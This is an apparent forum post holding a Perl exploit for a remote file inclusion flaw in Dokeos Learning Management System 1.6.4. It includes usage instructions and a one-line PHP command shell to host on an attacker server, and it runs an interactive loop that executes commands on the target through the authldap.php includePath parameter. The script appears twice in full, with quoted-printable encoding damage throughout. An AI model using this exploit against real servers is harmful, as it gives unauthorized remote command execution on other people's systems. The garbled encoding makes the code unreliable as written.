beford
09/05/06, 04:40
#!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie: beford <xbefordx gmail com>
#
# uso:# =09perl own.pl <host> <cmd-shell-url> <cmd-var>
# =09=09perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;
$Path =3D $ARGV[0];
$Pathtocmd =3D $ARGV[1];
$cmdv =3D $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
=09print "[shell] \$";
=09while(<STDIN>) {
=09=09$cmd=3D$_;
=09=09chomp($cmd);
=09=09if (!$cmd) {last;}
=09=09$xpl =3D LWP::UserAgent->new() or die;
=09=09$req =3D HTTP::Request->new(GET
=3D>$Path.'claroline/auth/ldap/authldap.php?includePath=3D'.$Pathtocmd.'?&'=
..$cmdv.'=3D'.$cmd)or
die "\nCould Not connect\n";
=09=09$res =3D $xpl->request($req);
=09=09$return =3D $res->content;
=09=09$return =3D~ tr/[\n]/[=EA]/;
=09=09if ($return =3D~/Error: HTTP request failed!/ ) {
=09=09=09print "\nInvalid path for phpshell\n";
=09=09=09exit;
=09=09} elsif ($return =3D~/^<br.\/>.<b>Fatal.error/) {
=09=09=09print "\nInvalid Command, error.\n\n";
=09=09}
=09=09if ($return =3D~ /(.*)/) {
=09=09=09$finreturn =3D $1;
=09=09=09$finreturn=3D~ tr/[=EA]/[\n]/;
=09=09=09print "\r\n$finreturn\n\r";
=09=09=09last;
=09=09} else {
=09=09=09print "[shell] \$";
=09=09}
=09}
} last;
sub head() {
=09print "\n=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D\r\n";
=09print " Dokeos Learning Management System Remote File Include\r\n";
=09print "=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D\r\n";
}
sub usage() {
=09head();
=09print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
=09print " <host> - Full Path : http://host/dokeos/ \r\n";
=09print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
=09print " <var> - var name used in phpshell : cmd \r\n\r\n";
=09exit();
}
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie: beford <xbefordx gmail com>
#
# uso:# =09perl own.pl <host> <cmd-shell-url> <cmd-var>
# =09=09perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;
$Path =3D $ARGV[0];
$Pathtocmd =3D $ARGV[1];
$cmdv =3D $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
=09print "[shell] \$";
=09while(<STDIN>) {
=09=09$cmd=3D$_;
=09=09chomp($cmd);
=09=09if (!$cmd) {last;}
=09=09$xpl =3D LWP::UserAgent->new() or die;
=09=09$req =3D HTTP::Request->new(GET
=3D>$Path.'claroline/auth/ldap/authldap.php?includePath=3D'.$Pathtocmd.'?&'=
..$cmdv.'=3D'.$cmd)or
die "\nCould Not connect\n";
=09=09$res =3D $xpl->request($req);
=09=09$return =3D $res->content;
=09=09$return =3D~ tr/[\n]/[=EA]/;
=09=09if ($return =3D~/Error: HTTP request failed!/ ) {
=09=09=09print "\nInvalid path for phpshell\n";
=09=09=09exit;
=09=09} elsif ($return =3D~/^<br.\/>.<b>Fatal.error/) {
=09=09=09print "\nInvalid Command, error.\n\n";
=09=09}
=09=09if ($return =3D~ /(.*)/) {
=09=09=09$finreturn =3D $1;
=09=09=09$finreturn=3D~ tr/[=EA]/[\n]/;
=09=09=09print "\r\n$finreturn\n\r";
=09=09=09last;
=09=09} else {
=09=09=09print "[shell] \$";
=09=09}
=09}
} last;
sub head() {
=09print "\n=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D\r\n";
=09print " Dokeos Learning Management System Remote File Include\r\n";
=09print "=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D\r\n";
}
sub usage() {
=09head();
=09print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
=09print " <host> - Full Path : http://host/dokeos/ \r\n";
=09print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
=09print " <var> - var name used in phpshell : cmd \r\n\r\n";
=09exit();
}